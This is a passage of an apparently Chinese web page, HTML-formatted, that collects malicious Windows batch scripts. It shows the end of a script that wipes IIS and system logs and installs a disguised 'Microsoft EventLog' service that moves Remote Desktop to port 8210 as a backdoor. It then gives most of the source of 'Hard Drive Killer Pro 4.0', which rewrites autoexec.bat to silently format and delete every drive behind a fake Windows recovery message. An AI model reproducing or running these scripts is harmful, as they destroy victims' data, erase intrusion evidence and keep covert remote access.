13px;">&nbsp;&nbsp;&nbsp;&nbsp;@net stop event log&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@del c:winntsystem32logfilesw3svc1*.* /f /q&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@del c:winntsystem32logfilesw3svc2*.* /f /q&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@del c:winntsystem32config*.event /f /q&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@del c:winntsystem32dtclog*.* /f /q&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@del c:winnt*.txt /f /q&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@del c:winnt*.log /f /q&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@net start w3svc&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@net start event log&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@rem &#091;删除日志&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@net stop lanmanserver /y&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@net stop Schedule /y&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@net stop RemoteRegistry /y&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@del patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo The server has been patched,Have fun.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@del patch.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM &#091;禁止一些危险的服务。&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;PortNumber&quot;=dword:00002010 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;PortNumber&quot;=dword:00002012 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;Start&quot;=dword:00000002 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;Start&quot;=dword:00000002 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;ErrorControl&quot;=dword:00000001 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;ImagePath&quot;=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;ObjectName&quot;=&quot;LocalSystem&quot; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;Type&quot;=dword:00000010 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;Description&quot;=&quot;Keep record of the program and windows&#039; message。&quot; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;DisplayName&quot;=&quot;Microsoft EventLog&quot; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;Start&quot;=dword:00000004 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM &#091;修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;3、Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;------------------------ cut here then save as .bat or .cmd file ---------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem This program is dedecated to a very special person that does not want to be named.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:start&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo PLEASE WAIT WHILE PROGRAM LOADS . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call attrib -r -h c:autoexec.bat &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo @echo off &gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo call format c: /q /u /autotest &gt;nul &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call attrib +r +h c:autoexec.bat &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem Drive checking and assigning the valid drives to the drive variable.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set drive=&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem code insertion for Drive Checking takes place here.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem drivechk.bat is the file name under the root directory.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem As far as the drive detection and drive variable settings, don&#039;t worry about how it&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem works, it&#039;s d*amn to complicated for the average or even the expert batch programmer.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem Except for Tom Lavedas.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo @echo off &gt;drivechk.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find &quot;Vol&quot; &gt; nul &gt;{t}.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;del {t}.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo PLEASE WAIT WHILE PROGRAM LOADS . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem When errorlevel is 1, then the above is not true, if 0, then it&#039;s true.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem Opposite of binary rules. If 0, it will elaps to the next command.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find &quot;bytes&quot; &gt; nul &gt;{t}.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;del {t}.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo PLEASE WAIT WHILE PROGRAM LOADS . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem if errorlevel is 0, then it will elaps to the next command.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo @prompt dir %%%%1:./ad/w/-p $b find &quot; 0 bytes free&quot; &gt; nul &gt;{t}.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;del {t}.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo PLEASE WAIT WHILE PROGRAM LOADS . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem if it&#039;s errorlevel 1, then the specified drive is a hard or floppy drive.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem if it&#039;s not errorlevel 1, then the specified drive is a CD-ROM drive.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo :enddc &gt;&gt;drivechk.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem Drive checking insertion ends here. &quot;enddc&quot; stands for &quot;end dDRIVE cHECKING&quot;.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem Now we will use the program drivechk.bat to attain valid drive information.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:testdrv&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;del drivechk.bat &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %drive.==. set drive=c&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:form_del&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call attrib -r -h c:autoexec.bat &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo @echo off &gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest &gt;nul &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cls &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cls &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo for %%%%a in (%drive%) call deltree /y %%%%a: &gt;nul &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cls &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest &gt;nul &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cls &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cls &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo Loading Windows, please wait while Microsoft windows recovers your system . . . &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo for %%%%a in (%drive%) call deltree /y %%%%a: &gt;nul &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cd &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cls &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo Welcome to the land of death. Munga Bunga&#039;s Multiple Hard Drive Killer version 4.0. &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo 1. To make people aware that security should not be taken for granted. &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo 2. Love is important, if you have it, truly, don&#039;t let go of it like I did! &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I&#039;m glad your HD is dead. &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo 4. Don&#039;t support the following: War, Racism, Drugs and the Liberal Party.&gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo. &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo Regards, &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo. &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo echo Munga Bunga &gt;&gt;c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call attrib +r +h c:autoexec.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:makedir&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if exist c:temp.bat attrib -r -h c:temp.bat &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo @echo off &gt;c:temp.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo %%1: &gt;&gt;c:temp.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo cd &gt;&gt;c:temp.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo :startmd &gt;&gt;c:temp.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo for %%%%a in (&quot;if not exist %%2nul md %%2&quot; &quot;if exist %%2nul cd %%2&quot;) do %%%%a &gt;&gt;c:temp.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo for %%%%a in 